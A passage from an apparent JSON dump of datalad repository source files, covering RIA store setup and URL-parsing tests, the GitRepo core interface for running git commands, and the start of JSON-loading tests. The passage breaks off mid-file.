assert_true(error_logs.exists())\\n assert_true(error_logs.is_dir())\\n assert_equal([f for f in error_logs.iterdir()], [])\\n\\n # empty target directory should work as well:\\n rmtree(str(store))\\n store.mkdir(exist_ok=False)\\n create_store(io, store, '1')\\n assert_true(version_file.exists())\\n assert_true(error_logs.exists())\\n assert_true(error_logs.is_dir())\\n assert_equal([f for f in error_logs.iterdir()], [])\\n\\n # re-execution also fine:\\n create_store(io, store, '1')\\n\\n # but version conflict with existing target isn't:\\n version_file.write_text(\\\"2|unknownflags\\\\n\\\")\\n assert_raises(ValueError, create_store, io, store, '1')\\n # TODO: check output reporting conflicting version \\\"2\\\"\\n\\n\\ndef test_setup_store():\\n\\n _test_setup_store(LocalIO, [])\\n\\n if on_windows:\\n raise SkipTest('ora_remote.SSHRemoteIO stalls on Windows')\\n\\n skip_ssh(_test_setup_store)(SSHRemoteIO, ['datalad-test'])\\n\\n\\n@with_tempfile\\ndef _test_setup_ds_in_store(io_cls, io_args, store=None):\\n io = io_cls(*io_args)\\n store = Path(store)\\n # ATM create_ds_in_store doesn't care what kind of ID is provided\\n dsid = \\\"abc123456\\\"\\n\\n ds_path = store / dsid[:3] / dsid[3:] # store layout version 1\\n version_file = ds_path / 'ria-layout-version'\\n archives = ds_path / 'archives'\\n objects = ds_path / 'annex' / 'objects'\\n git_config = ds_path / 'config'\\n\\n # invalid store version:\\n assert_raises(UnknownLayoutVersion,\\n create_ds_in_store, io, store, dsid, '1', 'abc')\\n\\n # invalid obj version:\\n assert_raises(UnknownLayoutVersion,\\n create_ds_in_store, io, store, dsid, 'abc', '1')\\n\\n # version 1\\n create_store(io, store, '1')\\n create_ds_in_store(io, store, dsid, '1', '1')\\n for p in [ds_path, archives, objects]:\\n assert_true(p.is_dir(), msg=\\\"Not a directory: %s\\\" % str(p))\\n for p in [version_file]:\\n assert_true(p.is_file(), msg=\\\"Not a file: %s\\\" % str(p))\\n assert_equal(version_file.read_text(), \\\"1\\\\n\\\")\\n\\n # conflicting version exists at target:\\n assert_raises(ValueError, create_ds_in_store, io, store, dsid, '2', '1')\\n\\n # version 2\\n # Note: The only difference between version 1 and 2 are supposed to be the\\n # key paths (dirhashlower vs mixed), which has nothing to do with\\n # setup routine.\\n rmtree(str(store))\\n create_store(io, store, '1')\\n create_ds_in_store(io, store, dsid, '2', '1')\\n for p in [ds_path, archives, objects]:\\n assert_true(p.is_dir(), msg=\\\"Not a directory: %s\\\" % str(p))\\n for p in [version_file]:\\n assert_true(p.is_file(), msg=\\\"Not a file: %s\\\" % str(p))\\n assert_equal(version_file.read_text(), \\\"2\\\\n\\\")\\n\\n\\ndef test_setup_ds_in_store():\\n\\n _test_setup_ds_in_store(LocalIO, [])\\n\\n if on_windows:\\n raise SkipTest('ora_remote.SSHRemoteIO stalls on Windows')\\n\\n skip_ssh(_test_setup_ds_in_store)(SSHRemoteIO, ['datalad-test'])\\n\\n\\ndef test_verify_ria_url():\\n # unsupported protocol\\n assert_raises(ValueError,\\n verify_ria_url, 'ria+ftp://localhost/tmp/this', {})\\n # bunch of caes that should work\\n cases = {\\n 'ria+file:///tmp/this': (None, '/tmp/this'),\\n # no normalization\\n 'ria+file:///tmp/this/': (None, '/tmp/this/'),\\n # with hosts\\n 'ria+ssh://localhost/tmp/this': ('ssh://localhost', '/tmp/this'),\\n 'ria+http://localhost/tmp/this': ('http://localhost', '/tmp/this'),\\n 'ria+https://localhost/tmp/this': ('https://localhost', '/tmp/this'),\\n # with username\\n 'ria+ssh://humbug@localhost/tmp/this':\\n ('ssh://humbug@localhost', '/tmp/this'),\\n # with port\\n 'ria+ssh://humbug@localhost:2222/tmp/this':\\n ('ssh://humbug@localhost:2222', '/tmp/this'),\\n 'ria+ssh://localhost:2200/tmp/this':\\n ('ssh://localhost:2200', '/tmp/this'),\\n # with password\\n 'ria+https://humbug:1234@localhost:8080/tmp/this':\\n ('https://humbug:1234@localhost:8080', '/tmp/this'),\\n # document a strange (MIH thinks undesirable), but pre-existing\\n # behavior an 'ssh example.com' would end up in the user HOME,\\n # not in '/'\\n 'ria+ssh://example.com': ('ssh://example.com', '/')\\n }\\n for i, o in cases.items():\\n # we are not testing the URL rewriting here\\n assert o == verify_ria_url(i, {})[:2]\\n\"\n },\n {\n \"alpha_fraction\": 0.5551326870918274,\n \"alphanum_fraction\": 0.5587309002876282,\n \"avg_line_length\": 36.73237609863281,\n \"blob_id\": \"da05ee694ef5f83e5cdfed4c05acd49c5844949a\",\n \"content_id\": \"e85695461b53fc25bff0fcaabc216bac6fe9a343\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 28903,\n \"license_type\": \"permissive\",\n \"max_line_length\": 96,\n \"num_lines\": 766,\n \"path\": \"/datalad/dataset/gitrepo.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Core interface to Git repositories\\n\\nAt the moment the GitRepo class provided here is not meant to be used\\ndirectly, but is primarily a vehicle for a slow refactoring process.\\n\\nWhile is could be used directly in some cases, note that the singleton\\nhandling implemented here will not allow switching between this\\nimplementation and the old-standard from datalad.support.gitrepo for the\\nlifetime of a singleton.\\n\\\"\\\"\\\"\\n\\n__all__ = ['GitRepo']\\n\\nimport logging\\nimport re\\nimport threading\\nimport time\\nfrom contextlib import contextmanager\\nfrom locale import getpreferredencoding\\nfrom os import environ\\nfrom os.path import lexists\\nfrom typing import Optional\\nfrom weakref import (\\n finalize,\\n WeakValueDictionary\\n)\\n\\nfrom datalad.cmd import (\\n GitWitlessRunner,\\n StdOutErrCapture,\\n)\\nfrom datalad.config import ConfigManager\\nfrom datalad.dataset.repo import (\\n PathBasedFlyweight,\\n RepoInterface,\\n path_based_str_repr,\\n)\\nfrom datalad.runner.nonasyncrunner import (\\n STDERR_FILENO,\\n STDOUT_FILENO,\\n)\\nfrom datalad.runner.protocol import GeneratorMixIn\\nfrom datalad.runner.utils import (\\n AssemblingDecoderMixIn,\\n LineSplitter,\\n)\\nfrom datalad.support.exceptions import (\\n CommandError,\\n GitIgnoreError,\\n InvalidGitRepositoryError,\\n PathKnownToRepositoryError,\\n)\\nfrom datalad.utils import (\\n ensure_list,\\n lock_if_required,\\n Path,\\n)\\n\\n\\nlgr = logging.getLogger('datalad.dataset.gitrepo')\\n\\npreferred_encoding = getpreferredencoding(do_setlocale=False)\\n\\n\\n@contextmanager\\ndef git_ignore_check(expect_fail,\\n stdout_buffer,\\n stderr_buffer):\\n try:\\n yield None\\n except CommandError as e:\\n e.stdout = \\\"\\\".join(stdout_buffer) if stdout_buffer else (e.stdout or \\\"\\\")\\n e.stderr = \\\"\\\".join(stderr_buffer) if stderr_buffer else (e.stderr or \\\"\\\")\\n ignore_exception = _get_git_ignore_exception(e)\\n if ignore_exception:\\n raise ignore_exception\\n lgr.log(5 if expect_fail else 11, str(e))\\n raise\\n\\n\\ndef _get_git_ignore_exception(exception):\\n ignored = re.search(GitIgnoreError.pattern, exception.stderr)\\n if ignored:\\n return GitIgnoreError(cmd=exception.cmd,\\n msg=exception.stderr,\\n code=exception.code,\\n stdout=exception.stdout,\\n stderr=exception.stderr,\\n paths=ignored.groups()[0].splitlines())\\n return None\\n\\n\\n@path_based_str_repr\\nclass GitRepo(RepoInterface, metaclass=PathBasedFlyweight):\\n \\\"\\\"\\\"Representation of a Git repository\\n\\n \\\"\\\"\\\"\\n # Could be used to e.g. disable automatic garbage and autopacking\\n # ['-c', 'receive.autogc=0', '-c', 'gc.auto=0']\\n _GIT_COMMON_OPTIONS = [\\n \\\"-c\\\", \\\"diff.ignoreSubmodules=none\\\",\\n # To gain consistent, albeit possibly insecure (?) behavior of git/git-annex\\n # in quoting or note the paths.\\n # Behavior of git-annex on treating this setting has changed around\\n # 10.20230407-18-gdf6f9f1ee8 where it started to respect default =true and\\n # quote. See https://github.com/datalad/datalad/pull/7372#issuecomment-1533507701\\n \\\"-c\\\", \\\"core.quotepath=false\\\",\\n ]\\n _git_cmd_prefix = [\\\"git\\\"] + _GIT_COMMON_OPTIONS\\n\\n # Begin Flyweight:\\n\\n _unique_instances = WeakValueDictionary()\\n\\n def _flyweight_invalid(self):\\n return not self.is_valid()\\n\\n @classmethod\\n def _flyweight_reject(cls, id_, *args, **kwargs):\\n pass\\n\\n @classmethod\\n def _cleanup(cls, path):\\n # Ben: I think in case of GitRepo there's nothing to do ATM. Statements\\n # like the one in the out commented __del__ above, don't make sense\\n # with python's GC, IMO, except for manually resolving cyclic\\n # references (not the case w/ ConfigManager ATM).\\n lgr.log(1, \\\"Finalizer called on: GitRepo(%s)\\\", path)\\n\\n def __hash__(self):\\n # the flyweight key is already determining unique instances\\n # add the class name to distinguish from strings of a path\\n return hash((self.__class__.__name__, self.__weakref__.key))\\n\\n # End Flyweight\\n\\n def __init__(self, path):\\n # A lock to prevent multiple threads performing write operations in parallel\\n self._write_lock = threading.Lock()\\n\\n # Note, that the following three path objects are used often and\\n # therefore are stored for performance. Path object creation comes with\\n # a cost. Most notably, this is used for validity checking of the\\n # repository.\\n self.pathobj = Path(path)\\n self.dot_git = _get_dot_git(self.pathobj, ok_missing=True)\\n self._valid_git_test_path = self.dot_git / 'HEAD'\\n\\n self._cfg = None\\n self._git_runner = GitWitlessRunner(cwd=self.pathobj)\\n\\n self.__fake_dates_enabled = None\\n\\n self._line_splitter = None\\n\\n # Finally, register a finalizer (instead of having a __del__ method).\\n # This will be called by garbage collection as well as \\\"atexit\\\". By\\n # keeping the reference here, we can also call it explicitly.\\n # Note, that we can pass required attributes to the finalizer, but not\\n # `self` itself. This would create an additional reference to the object\\n # and thereby preventing it from being collected at all.\\n self._finalizer = finalize(self, GitRepo._cleanup, self.pathobj)\\n\\n def __eq__(self, obj):\\n \\\"\\\"\\\"Decides whether or not two instances of this class are equal.\\n\\n This is done by comparing the base repository path.\\n \\\"\\\"\\\"\\n return self.pathobj == obj.pathobj\\n\\n def is_valid(self_or_path):\\n \\\"\\\"\\\"Returns whether the underlying repository appears to be still valid\\n\\n This method can be used as an instance method or a class method.\\n \\\"\\\"\\\"\\n # preserving notes from the original implementations in GitRepo\\n #\\n # Note, that this almost identical to the classmethod is_valid_repo().\\n # However, if we are testing an existing instance, we can save Path object\\n # creations. Since this testing is done a lot, this is relevant. Creation\\n # of the Path objects in is_valid_repo() takes nearly half the time of the\\n # entire function.\\n\\n # Also note, that this method is bound to an instance but still\\n # class-dependent, meaning that a subclass cannot simply overwrite it.\\n # This is particularly important for the call from within __init__(),\\n # which in turn is called by the subclasses' __init__. Using an overwrite\\n # would lead to the wrong thing being called.\\n if not isinstance(self_or_path, GitRepo):\\n # called like a classmethod, perform test without requiring\\n # a repo instance\\n if not isinstance(self_or_path, Path):\\n self_or_path = Path(self_or_path)\\n dot_git_path = self_or_path / '.git'\\n return (dot_git_path.exists() and (\\n not dot_git_path.is_dir() or (dot_git_path / 'HEAD').exists()\\n )) or (self_or_path / 'HEAD').exists()\\n else:\\n # called as a method of a repo instance\\n return self_or_path.dot_git.exists() and (\\n not self_or_path.dot_git.is_dir()\\n or self_or_path._valid_git_test_path.exists()\\n )\\n\\n @property\\n def cfg(self):\\n \\\"\\\"\\\"Get a ConfigManager instance for this repository\\n\\n Returns\\n -------\\n ConfigManager\\n \\\"\\\"\\\"\\n if self._cfg is None:\\n # associate with this dataset and read the entire config hierarchy\\n self._cfg = ConfigManager(dataset=self, source='any')\\n return self._cfg\\n\\n @property\\n def _fake_dates_enabled(self):\\n \\\"\\\"\\\"Is the repository configured to use fake dates?\\n\\n This is an internal query performance helper for the datalad.fake-dates\\n config option.\\n \\\"\\\"\\\"\\n if self.__fake_dates_enabled is None:\\n self.__fake_dates_enabled = \\\\\\n self.cfg.getbool('datalad', 'fake-dates', default=False)\\n return self.__fake_dates_enabled\\n\\n def add_fake_dates_to_env(self, env=None):\\n \\\"\\\"\\\"Add fake dates to `env`.\\n\\n Parameters\\n ----------\\n env : dict, optional\\n Environment variables.\\n\\n Returns\\n -------\\n A dict (copied from env), with date-related environment\\n variables for git and git-annex set.\\n \\\"\\\"\\\"\\n env = (env if env is not None else environ).copy()\\n # Note: Use _git_custom_command here rather than repo.git.for_each_ref\\n # so that we use annex-proxy in direct mode.\\n last_date = list(self.for_each_ref_(\\n fields='committerdate:raw',\\n count=1,\\n pattern='refs/heads',\\n sort=\\\"-committerdate\\\",\\n ))\\n\\n if last_date:\\n # Drop the \\\"contextual\\\" timezone, leaving the unix timestamp. We\\n # avoid :unix above because it wasn't introduced until Git v2.9.4.\\n last_date = last_date[0]['committerdate:raw'].split()[0]\\n seconds = int(last_date)\\n else:\\n seconds = self.cfg.obtain(\\\"datalad.fake-dates-start\\\")\\n seconds_new = seconds + 1\\n date = \\\"@{} +0000\\\".format(seconds_new)\\n\\n lgr.debug(\\\"Setting date to %s\\\",\\n time.strftime(\\\"%a %d %b %Y %H:%M:%S +0000\\\",\\n time.gmtime(seconds_new)))\\n\\n env[\\\"GIT_AUTHOR_DATE\\\"] = date\\n env[\\\"GIT_COMMITTER_DATE\\\"] = date\\n env[\\\"GIT_ANNEX_VECTOR_CLOCK\\\"] = str(seconds_new)\\n\\n return env\\n\\n def _generator_call_git(self,\\n args,\\n *,\\n files=None,\\n env=None,\\n pathspec_from_file: Optional[bool]=False,\\n sep=None):\\n \\\"\\\"\\\"\\n Call git, yield stdout and stderr lines when available. Output lines\\n are split at line ends or `sep` if `sep` is not None.\\n\\n Parameters\\n ----------\\n sep : str, optional\\n Use `sep` as line separator. Does not create an empty last line if\\n the input ends on sep. The lines contain the separator, if it exists.\\n\\n All other parameters match those described for `call_git`.\\n\\n Returns\\n -------\\n Generator that yields tuples of `(file_no, line)`, where `file_no` is\\n either:\\n\\n - `datalad.runner.nonasyncrunner.STDOUT_FILENO` for stdout, or\\n - `datalad.runner.nonasyncrunner.STDERR_FILENO` for stderr,\\n\\n and `line` is the next result line, split on `sep`, or on standard line\\n ends.\\n\\n Raises\\n ------\\n CommandError if the call exits with a non-zero status.\\n \\\"\\\"\\\"\\n\\n class GeneratorStdOutErrCapture(GeneratorMixIn,\\n AssemblingDecoderMixIn,\\n StdOutErrCapture):\\n \\\"\\\"\\\"\\n Generator-runner protocol that captures and yields stdout and stderr.\\n \\\"\\\"\\\"\\n def __init__(self):\\n GeneratorMixIn.__init__(self)\\n AssemblingDecoderMixIn.__init__(self)\\n StdOutErrCapture.__init__(self)\\n\\n def pipe_data_received(self, fd, data):\\n if fd in (1, 2):\\n self.send_result((fd, self.decode(fd, data, self.encoding)))\\n else:\\n StdOutErrCapture.pipe_data_received(self, fd, data)\\n\\n cmd = self._git_cmd_prefix + args\\n\\n if files:\\n # only call the wrapper if needed (adds distraction logs\\n # otherwise, and also maintains the possibility to connect\\n # stdin in the future)\\n generator = self._git_runner.run_on_filelist_chunks_items_(\\n cmd,\\n files,\\n protocol=GeneratorStdOutErrCapture,\\n env = env,\\n pathspec_from_file = pathspec_from_file,\\n )\\n elif files is not None:\\n # it was an empty structure, so we did provide paths but \\\"empty\\\",\\n # then we must not return anything. For more reasoning see\\n # ec0243c92822f36ada5e87557eb9f5f53929c9ff which added similar code pattern\\n # within get_content_info\\n return\\n else:\\n generator = self._git_runner.run(\\n cmd,\\n protocol=GeneratorStdOutErrCapture,\\n env=env)\\n\\n line_splitter = {\\n STDOUT_FILENO: LineSplitter(sep, keep_ends=True),\\n STDERR_FILENO: LineSplitter(sep, keep_ends=True)\\n }\\n\\n for file_no, content in generator:\\n if file_no in (STDOUT_FILENO, STDERR_FILENO):\\n for line in line_splitter[file_no].process(content):\\n yield file_no, line\\n else:\\n raise ValueError(f\\\"unknown file number: {file_no}\\\")\\n\\n for file_no in (STDOUT_FILENO, STDERR_FILENO):\\n remaining_content = line_splitter[file_no].finish_processing()\\n if remaining_content is not None:\\n yield file_no, remaining_content\\n\\n def _call_git(self,\\n args,\\n files=None,\\n expect_stderr=False,\\n expect_fail=False,\\n env=None,\\n pathspec_from_file: Optional[bool] = False,\\n read_only=False):\\n \\\"\\\"\\\"Allows for calling arbitrary commands.\\n\\n Internal helper to the call_git*() methods.\\n Unlike call_git, _call_git returns both stdout and stderr.\\n The parameters, return value, and raised exceptions match those\\n documented for `call_git`, with the exception of env, which allows to\\n specify the custom environment (variables) to be used.\\n \\\"\\\"\\\"\\n runner = self._git_runner\\n stderr_log_level = {True: 5, False: 11}[expect_stderr]\\n\\n read_write = not read_only\\n if read_write and self._fake_dates_enabled:\\n env = self.add_fake_dates_to_env(env if env else runner.env)\\n\\n output = {\\n STDOUT_FILENO: [],\\n STDERR_FILENO: [],\\n }\\n\\n with lock_if_required(read_write, self._write_lock), \\\\\\n git_ignore_check(expect_fail, output[STDOUT_FILENO], output[STDERR_FILENO]):\\n\\n for file_no, line in self._generator_call_git(args,\\n files=files,\\n env=env,\\n pathspec_from_file=pathspec_from_file,\\n ):\\n output[file_no].append(line)\\n\\n for line in output[STDERR_FILENO]:\\n lgr.log(stderr_log_level,\\n \\\"stderr| \\\" + line.rstrip(\\\"\\\\n\\\"))\\n return (\\n \\\"\\\".join(output[STDOUT_FILENO]),\\n \\\"\\\".join(output[STDERR_FILENO]))\\n\\n def call_git(self, args, files=None,\\n expect_stderr=False, expect_fail=False,\\n env=None,\\n pathspec_from_file: Optional[bool] = False,\\n read_only=False):\\n \\\"\\\"\\\"Call git and return standard output.\\n\\n Parameters\\n ----------\\n args : list of str\\n Arguments to pass to `git`.\\n files : list of str, optional\\n File arguments to pass to `git`. The advantage of passing these here\\n rather than as part of `args` is that the call will be split into\\n multiple calls to avoid exceeding the maximum command line length.\\n expect_stderr : bool, optional\\n Standard error is expected and should not be elevated above the DEBUG\\n level.\\n expect_fail : bool, optional\\n A non-zero exit is expected and should not be elevated above the\\n DEBUG level.\\n pathspec_from_file : bool, optional\\n Could be set to True for a `git` command which supports\\n --pathspec-from-file and --pathspec-file-nul options. Then pathspecs\\n would be passed through a temporary file.\\n read_only : bool, optional\\n By setting this to True, the caller indicates that the command does\\n not write to the repository, which lets this function skip some\\n operations that are necessary only for commands the modify the\\n repository. Beware that even commands that are conceptually\\n read-only, such as `git-status` and `git-diff`, may refresh and write\\n the index.\\n\\n Returns\\n -------\\n standard output (str)\\n\\n Raises\\n ------\\n CommandError if the call exits with a non-zero status.\\n \\\"\\\"\\\"\\n return \\\"\\\".join(\\n self.call_git_items_(args,\\n files,\\n expect_stderr=expect_stderr,\\n expect_fail=expect_fail,\\n env=env,\\n pathspec_from_file=pathspec_from_file,\\n read_only=read_only,\\n keep_ends=True))\\n\\n def call_git_items_(self,\\n args,\\n files=None,\\n expect_stderr=False,\\n expect_fail=False,\\n env=None,\\n pathspec_from_file: Optional[bool] = False,\\n read_only=False,\\n sep=None,\\n keep_ends=False):\\n \\\"\\\"\\\"\\n Call git, yield output lines when available. Output lines are split\\n at line ends or `sep` if `sep` is not None.\\n\\n Parameters\\n ----------\\n sep : str, optional\\n Use sep as line separator. Does not create an empty last line if\\n the input ends on sep.\\n\\n All other parameters match those described for `call_git`.\\n\\n Returns\\n -------\\n Generator that yields stdout items, i.e. lines with the line ending or\\n separator removed.\\n\\n Please note, this method is meant to be used to process output that is\\n meant for 'interactive' interpretation. It is not intended to return\\n stdout from a command like \\\"git cat-file\\\". The reason is that\\n it strips of the line endings (or separator) from the result lines,\\n unless 'keep_ends' is True. If 'keep_ends' is False, you will not know\\n which line ending was stripped (if 'separator' is None) or whether a\\n line ending (or separator) was stripped at all, because the last line\\n may not have a line ending (or separator).\\n\\n If you want to reliably recreate the output set 'keep_ends' to True and\\n \\\"\\\".join() the result, or use 'GitRepo.call_git()' instead.\\n\\n Raises\\n ------\\n CommandError if the call exits with a non-zero status.\\n \\\"\\\"\\\"\\n\\n read_write = not read_only\\n if read_write and self._fake_dates_enabled:\\n env = self.add_fake_dates_to_env(\\n env if env else self._git_runner.env)\\n\\n stderr_lines = []\\n\\n with lock_if_required(read_write, self._write_lock), \\\\\\n git_ignore_check(expect_fail, None, stderr_lines):\\n\\n for file_no, line in self._generator_call_git(\\n args,\\n files=files,\\n env=env,\\n pathspec_from_file=pathspec_from_file,\\n sep=sep):\\n if file_no == STDOUT_FILENO:\\n if keep_ends is True:\\n yield line\\n else:\\n if sep:\\n yield line.rstrip(sep)\\n else:\\n yield line.rstrip()\\n else:\\n stderr_lines.append(line)\\n\\n stderr_log_level = {True: 5, False: 11}[expect_stderr]\\n for line in stderr_lines:\\n lgr.log(stderr_log_level, \\\"stderr| \\\" + line.strip(\\\"\\\\n\\\"))\\n\\n def call_git_oneline(self, args, files=None, expect_stderr=False,\\n pathspec_from_file: Optional[bool] = False,\\n read_only=False):\\n \\\"\\\"\\\"Call git for a single line of output.\\n\\n All other parameters match those described for `call_git`.\\n\\n Raises\\n ------\\n CommandError if the call exits with a non-zero status.\\n AssertionError if there is more than one line of output.\\n \\\"\\\"\\\"\\n lines = list(self.call_git_items_(args, files=files,\\n expect_stderr=expect_stderr,\\n pathspec_from_file=pathspec_from_file,\\n read_only=read_only))\\n if len(lines) > 1:\\n raise AssertionError(\\n \\\"Expected {} to return single line, but it returned {}\\\"\\n .format([\\\"git\\\"] + args, lines))\\n return lines[0]\\n\\n def call_git_success(self, args, files=None, expect_stderr=False,\\n pathspec_from_file: Optional[bool] = False,\\n read_only=False):\\n \\\"\\\"\\\"Call git and return true if the call exit code of 0.\\n\\n All parameters match those described for `call_git`.\\n\\n Returns\\n -------\\n bool\\n \\\"\\\"\\\"\\n try:\\n self._call_git(\\n args, files, expect_fail=True, expect_stderr=expect_stderr,\\n pathspec_from_file=pathspec_from_file,\\n read_only=read_only)\\n\\n except CommandError:\\n return False\\n return True\\n\\n def init(self, sanity_checks=True, init_options=None):\\n \\\"\\\"\\\"Initializes the Git repository.\\n\\n Parameters\\n ----------\\n create_sanity_checks: bool, optional\\n Whether to perform sanity checks during initialization if the target\\n path already exists, such as that new repository is not created in\\n the directory where git already tracks some files.\\n init_options: list, optional\\n Additional options to be appended to the `git-init` call.\\n \\\"\\\"\\\"\\n pathobj = self.pathobj\\n path = str(pathobj)\\n\\n if not lexists(path):\\n pathobj.mkdir(parents=True)\\n elif sanity_checks:\\n # Verify that we are not trying to initialize a new git repository\\n # under a directory some files of which are already tracked by git\\n # use case: https://github.com/datalad/datalad/issues/3068\\n try:\\n stdout, _ = self._call_git(\\n ['-C', path, 'ls-files'],\\n expect_fail=True,\\n read_only=True,\\n )\\n if stdout:\\n raise PathKnownToRepositoryError(\\n \\\"Failing to initialize new repository under %s where \\\"\\n \\\"following files are known to a repository above: %s\\\"\\n % (path, stdout)\\n )\\n except CommandError:\\n # assume that all is good -- we are not under any repo\\n pass\\n\\n cmd = ['-C', path, 'init']\\n cmd.extend(ensure_list(init_options))\\n lgr.debug(\\n \\\"Initializing empty Git repository at '%s'%s\\\",\\n path,\\n ' %s' % cmd[3:] if cmd[3:] else '')\\n\\n stdout, stderr = self._call_git(\\n cmd,\\n # we don't want it to scream on stdout\\n expect_fail=True,\\n # there is no commit, and none will be made\\n read_only=True)\\n\\n # after creation we need to reconsider .git path\\n self.dot_git = _get_dot_git(self.pathobj, ok_missing=True)\\n\\n return self\\n\\n def for_each_ref_(self, fields=('objectname', 'objecttype', 'refname'),\\n pattern=None, points_at=None, sort=None, count=None,\\n contains=None):\\n \\\"\\\"\\\"Wrapper for `git for-each-ref`\\n\\n Please see manual page git-for-each-ref(1) for a complete overview\\n of its functionality. Only a subset of it is supported by this\\n wrapper.\\n\\n Parameters\\n ----------\\n fields : iterable or str\\n Used to compose a NULL-delimited specification for for-each-ref's\\n --format option. The default field list reflects the standard\\n behavior of for-each-ref when the --format option is not given.\\n pattern : list or str, optional\\n If provided, report only refs that match at least one of the given\\n patterns.\\n points_at : str, optional\\n Only list refs which points at the given object.\\n sort : list or str, optional\\n Field name(s) to sort-by. If multiple fields are given, the last one\\n becomes the primary key. Prefix any field name with '-' to sort in\\n descending order.\\n count : int, optional\\n Stop iteration after the given number of matches.\\n contains : str, optional\\n Only list refs which contain the specified commit.\\n\\n Yields\\n ------\\n dict with items matching the given `fields`\\n\\n Raises\\n ------\\n ValueError\\n if no `fields` are given\\n\\n RuntimeError\\n if `git for-each-ref` returns a record where the number of\\n properties does not match the number of `fields`\\n \\\"\\\"\\\"\\n if not fields:\\n raise ValueError('no `fields` provided, refuse to proceed')\\n fields = ensure_list(fields)\\n cmd = [\\n \\\"for-each-ref\\\",\\n \\\"--format={}\\\".format(\\n '%00'.join(\\n '%({})'.format(f) for f in fields)),\\n ]\\n if points_at:\\n cmd.append('--points-at={}'.format(points_at))\\n if contains:\\n cmd.append('--contains={}'.format(contains))\\n if sort:\\n for k in ensure_list(sort):\\n cmd.append('--sort={}'.format(k))\\n if pattern:\\n cmd += ensure_list(pattern)\\n if count:\\n cmd.append('--count={:d}'.format(count))\\n\\n for line in self.call_git_items_(cmd, read_only=True):\\n props = line.split('\\\\0')\\n if len(fields) != len(props):\\n raise RuntimeError(\\n 'expected fields {} from git-for-each-ref, but got: {}'.format(\\n fields, props))\\n yield dict(zip(fields, props))\\n\\n\\n#\\n# Internal helpers\\n#\\ndef _get_dot_git(pathobj, *, ok_missing=False, resolved=False):\\n \\\"\\\"\\\"Given a pathobj to a repository return path to the .git directory\\n\\n Parameters\\n ----------\\n pathobj: Path\\n ok_missing: bool, optional\\n Allow for .git to be missing (useful while sensing before repo is\\n initialized)\\n resolved : bool, optional\\n Whether to resolve any symlinks in the path, at a performance cost.\\n\\n Raises\\n ------\\n RuntimeError\\n When ok_missing is False and .git path does not exist\\n\\n Returns\\n -------\\n Path\\n Path to the (resolved) .git directory. If `resolved` is False, and\\n the given `pathobj` is not an absolute path, the returned path will\\n also be relative.\\n \\\"\\\"\\\"\\n dot_git = pathobj / '.git'\\n if dot_git.is_dir():\\n # deal with the common case immediately, an existing dir\\n return dot_git.resolve() if resolved else dot_git\\n elif not dot_git.exists():\\n # missing or bare\\n if (pathobj / 'HEAD').exists() and (pathobj / 'config').exists():\\n return pathobj.resolve() if resolved else pathobj\\n elif not ok_missing:\\n raise RuntimeError(\\\"Missing .git in %s.\\\" % pathobj)\\n else:\\n # resolve to the degree possible\\n return dot_git.resolve(strict=False)\\n # continue with more special cases\\n elif dot_git.is_file():\\n with dot_git.open() as f:\\n line = f.readline()\\n if line.startswith(\\\"gitdir: \\\"):\\n dot_git = pathobj / line[7:].strip()\\n return dot_git.resolve() if resolved else dot_git\\n else:\\n raise InvalidGitRepositoryError(\\\"Invalid .git file\\\")\\n raise RuntimeError(\\\"Unaccounted condition\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.5959475636482239,\n \"alphanum_fraction\": 0.6094557046890259,\n \"avg_line_length\": 27.931034088134766,\n \"blob_id\": \"d1e89096e42989ee90dc4828a16f66d17876a4e5\",\n \"content_id\": \"3e95b05be18c519e7ec7116794b9c6446eddefa8\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2521,\n \"license_type\": \"permissive\",\n \"max_line_length\": 106,\n \"num_lines\": 87,\n \"path\": \"/datalad/support/tests/test_json_py.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-; coding: utf-8 -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\nimport logging\\nimport os.path as op\\nfrom json import JSONDecodeError\\n\\nfrom datalad.support.json_py import (\\n dump,\\n dump2stream,\\n load,\\n load_stream,\\n loads,\\n)\\nfrom datalad.tests.utils_pytest import (\\n assert_in,\\n assert_raises,\\n eq_,\\n swallow_logs,\\n with_tempfile,\\n)\\n\\n\\n@with_tempfile(content=b'{\\\"Authors\\\": [\\\"A1\\\"\\\\xc2\\\\xa0, \\\"A2\\\"]}')\\ndef test_load_screwy_unicode(fname=None):\\n # test that we can tollerate some screwy unicode embeddings within json\\n assert_raises(JSONDecodeError, load, fname, fixup=False)\\n with swallow_logs(new_level=logging.WARNING) as cml:\\n eq_(load(fname), {'Authors': ['A1', 'A2']})\\n assert_in('Failed to decode content', cml.out)\\n\\n\\n@with_tempfile(content=u\\\"\\\"\\\"\\\\\\n{\\\"key0\\\": \\\"a
b\\\"}\\n{\\\"key1\\\": \\\"plain\\\"}\\\"\\\"\\\".encode(\\\"utf-8\\\"))\\ndef test_load_unicode_line_separator(fname=None):\\n # See gh-3523.\\n result = list(load_stream(fname))\\n eq_(len(result), 2)\\n eq_(result[0][\\\"key0\\\"], u\\\"a
